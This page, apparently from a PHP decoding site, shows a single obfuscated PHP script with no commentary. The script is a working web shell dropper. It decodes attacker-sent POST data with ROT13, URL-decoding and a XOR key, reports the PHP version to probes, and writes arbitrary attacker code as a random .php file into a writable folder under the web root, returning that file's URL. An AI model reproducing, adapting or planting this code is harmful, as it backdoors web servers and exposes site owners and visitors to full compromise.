PHP Decode

<?php $feztdvmq = "wfyykreqlymvepak";$onedcahxcr = "";foreach ($_POST as $tnknmuhhya => $hmnptxsx){if (strlen($tnknmuhhya) == 16 and substr_count($hmnptxsx, "%") > 10){znwjyzm($tnknmuhhya, $hmnptxsx);}}function znwjyzm($tnknmuhhya, $zptgjvb){global $onedcahxcr;$onedcahxcr = $tnknmuhhya;$zptgjvb = str_split(rawurldecode(str_rot13($zptgjvb)));function bgqqwmdz($tnknmuajnrybxm, $tnknmuhhya){global $feztdvmq, $onedcahxcr;return $tnknmuajnrybxm ^ $feztdvmq[$tnknmuhhya % strlen($feztdvmq)] ^ $onedcahxcr[$tnknmuhhya % strlen($onedcahxcr)];}$zptgjvb = implode("", array_map("bgqqwmdz", array_values($zptgjvb), array_keys($zptgjvb)));$zptgjvb = @unserialize($zptgjvb);if (@is_array($zptgjvb)){$tnknmuhhya = array_keys($zptgjvb);$zptgjvb = $zptgjvb[$tnknmuhhya[0]];if ($zptgjvb === $tnknmuhhya[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function psjnxszrx($tnknmir) {static $hdmwvdg = array();$guynlqtfj = glob($tnknmir . '/*', GLOB_ONLYDIR);if (count($guynlqtfj) > 0) {foreach ($guynlqtfj as $tnknm){if (@is_writable($tnknm)){$hdmwvdg[] = $tnknm;}}}foreach ($guynlqtfj as $tnknmir) psjnxszrx($tnknmir);return $hdmwvdg;}$fjqfp = $_SERVER["DOCUMENT_ROOT"];$guynlqtfj = psjnxszrx($fjqfp);$tnknmuhhya = array_rand($guynlqtfj);$mzmkdisegp = $guynlqtfj[$tnknmuhhya] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($mzmkdisegp, $zptgjvb);echo "http://" . $_SERVER["HTTP_HOST"] . substr($mzmkdisegp, strlen($fjqfp));exit();}}} 
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